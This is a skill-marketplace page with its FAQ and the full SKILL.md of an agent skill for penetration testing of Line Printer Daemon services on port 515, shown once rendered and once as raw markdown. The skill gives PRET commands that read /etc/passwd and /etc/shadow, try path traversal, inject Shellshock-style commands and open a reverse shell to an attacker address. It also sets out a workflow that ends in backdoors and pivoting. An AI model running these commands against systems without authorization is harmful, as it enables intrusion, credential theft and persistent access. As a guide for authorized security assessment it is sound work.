How do I install the Lpd Pentesting skill?

Run npx skillmds@latest add abelrguezr/lpd-pentesting in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Lpd Pentesting safe to use?

This skill has not completed SkillMD's automated safety review yet. Capability flags: executes scripts, makes network calls. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Lpd Pentesting?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Lpd Pentesting free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Lpd Pentesting?

abelrguezr (@abelrguezr) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Lpd Pentesting by abelrguezr — Agent Skill

Name: Lpd Pentesting
Rating: 4.2 (5 reviews)
Author: abelrguezr

Lpd Pentesting

How to pentest Line Printer Daemon (LPD) services on port 515/tcp. Use this skill whenever you need to assess printer security, test LPD/LPRng implementations, enumerate printer services, or exploit LPD vulnerabilities. Trigger this skill for any task involving port 515, printer exploitation, LPRng testing, network printer security assessments, or when you discover an LPD service during reconnaissance.

abelrguezr Updated Sep 10, 2026

File contents

LPD Pentesting Skill

A comprehensive guide for pentesting Line Printer Daemon (LPD) services.

What is LPD?

The Line Printer Daemon (LPD) protocol operates on port 515/tcp and was developed in Berkeley Unix in the 1980s (RFC1179). It uses the lpr command and works by sending:

Control file: Specifies job details and user information
Data file: Contains the actual print information

Common implementations include LPRng on Unix-like systems.

Why LPD is Vulnerable

LPD can be exploited through:

Malicious PostScript injection
PJL (Printer Job Language) command injection
File operations (upload/download/delete)
Command execution via crafted print jobs

Tools

PRET (Printer Exploitation Toolkit)

PRET provides two essential tools for LPD interaction. Install from: https://github.com/RUB-NDS/PRET

lpdprint.py - Print files to LPD printers

lpdprint.py <hostname> <filename>

lpdtest.py - Test and interact with LPD printers

# Download a file from the printer
lpdtest.py <hostname> get <path>

# Upload a file to the printer
lpdtest.py <hostname> put <local_path> <remote_path>

# Delete a file from the printer
lpdtest.py <hostname> rm <path>

# Command injection
lpdtest.py <hostname> in '() {:;}; <command>'

# Send mail through the printer
lpdtest.py <hostname> mail <email>

Common Exploitation Techniques

1. File Enumeration

Try to read sensitive files from the printer:

# Try to read sensitive files
lpdtest.py <target> get /etc/passwd
lpdtest.py <target> get /etc/shadow
lpdtest.py <target> get /etc/hosts

2. File Upload

Upload malicious files or reverse shells:

# Upload malicious files
lpdtest.py <target> put <local_file> <remote_path>

# Path traversal attempts
lpdtest.py <target> put ../../etc/passwd

3. Command Injection

Execute commands via LPD:

# Basic command injection
lpdtest.py <target> in '() {:;}; <command>'

# Example: ping for out-of-band confirmation
lpdtest.py <target> in '() {:;}; ping -c1 <your_ip>'

# Example: reverse shell
lpdtest.py <target> in '() {:;}; bash -i >& /dev/tcp/<your_ip>/<port> 0>&1'

4. Out-of-Band Communication

Send data via mail command:

# Send data via mail command
lpdtest.py <target> mail <your_email>

Finding LPD Services

Shodan Search

port 515

Nmap Scan

# Basic port scan
nmap -p 515 <target>

# With service detection
nmap -sV -p 515 <target>

# With scripts
nmap --script lpd-enum -p 515 <target>

Workflow

Reconnaissance: Identify LPD services via port scanning or Shodan
Enumeration: Use lpdtest.py to probe for accessible files
Exploitation: Attempt command injection or file operations
Persistence: Upload backdoors or modify printer configurations
Pivot: Use printer as a pivot point to internal networks

Safety Considerations

Only test systems you have authorization to assess
LPD exploitation can cause printer malfunctions
Some operations may be logged and trigger alerts
Document all findings for reporting
Be aware that some printers may have additional security measures

References

PRET GitHub
Hacking Printers Wiki
RFC1179 - Line Printer Daemon Protocol
HackTricks LPD Pentesting

---name: lpd-pentestingdescription: How to pentest Line Printer Daemon (LPD) services on port 515/tcp. Use this skill whenever you need to assess printer security, test LPD/LPRng implementations, enumerate printer services, or exploit LPD vulnerabilities. Trigger this skill for any task involving port 515, printer exploitation, LPRng testing, network printer security assessments, or when you discover an LPD service during reconnaissance.---# LPD Pentesting SkillA comprehensive guide for pentesting Line Printer Daemon (LPD) services.## What is LPD?The Line Printer Daemon (LPD) protocol operates on port 515/tcp and was developed in Berkeley Unix in the 1980s (RFC1179). It uses the `lpr` command and works by sending:- **Control file**: Specifies job details and user information- **Data file**: Contains the actual print informationCommon implementations include **LPRng** on Unix-like systems.## Why LPD is VulnerableLPD can be exploited through:- Malicious PostScript injection- PJL (Printer Job Language) command injection- File operations (upload/download/delete)- Command execution via crafted print jobs## Tools### PRET (Printer Exploitation Toolkit)PRET provides two essential tools for LPD interaction. Install from: https://github.com/RUB-NDS/PRET**lpdprint.py** - Print files to LPD printers```bashlpdprint.py <hostname> <filename>```**lpdtest.py** - Test and interact with LPD printers```bash# Download a file from the printerlpdtest.py <hostname> get <path># Upload a file to the printerlpdtest.py <hostname> put <local_path> <remote_path># Delete a file from the printerlpdtest.py <hostname> rm <path># Command injectionlpdtest.py <hostname> in '() {:;}; <command>'# Send mail through the printerlpdtest.py <hostname> mail <email>```## Common Exploitation Techniques### 1. File EnumerationTry to read sensitive files from the printer:```bash# Try to read sensitive fileslpdtest.py <target> get /etc/passwdlpdtest.py <target> get /etc/shadowlpdtest.py <target> get /etc/hosts```### 2. File UploadUpload malicious files or reverse shells:```bash# Upload malicious fileslpdtest.py <target> put <local_file> <remote_path># Path traversal attemptslpdtest.py <target> put ../../etc/passwd```### 3. Command InjectionExecute commands via LPD:```bash# Basic command injectionlpdtest.py <target> in '() {:;}; <command>'# Example: ping for out-of-band confirmationlpdtest.py <target> in '() {:;}; ping -c1 <your_ip>'# Example: reverse shelllpdtest.py <target> in '() {:;}; bash -i >& /dev/tcp/<your_ip>/<port> 0>&1'```### 4. Out-of-Band CommunicationSend data via mail command:```bash# Send data via mail commandlpdtest.py <target> mail <your_email>```## Finding LPD Services### Shodan Search```bashport 515```### Nmap Scan```bash# Basic port scannmap -p 515 <target># With service detectionnmap -sV -p 515 <target># With scriptsnmap --script lpd-enum -p 515 <target>```## Workflow1. **Reconnaissance**: Identify LPD services via port scanning or Shodan2. **Enumeration**: Use `lpdtest.py` to probe for accessible files3. **Exploitation**: Attempt command injection or file operations4. **Persistence**: Upload backdoors or modify printer configurations5. **Pivot**: Use printer as a pivot point to internal networks## Safety Considerations- Only test systems you have authorization to assess- LPD exploitation can cause printer malfunctions- Some operations may be logged and trigger alerts- Document all findings for reporting- Be aware that some printers may have additional security measures## References- [PRET GitHub](https://github.com/RUB-NDS/PRET)- [Hacking Printers Wiki](http://hacking-printers.net/wiki/index.php/Main_Page)- RFC1179 - Line Printer Daemon Protocol- [HackTricks LPD Pentesting](https://book.hacktricks.xyz/pentesting/515-pentesting-line-printer-daemon-lpd)

Frequently asked questions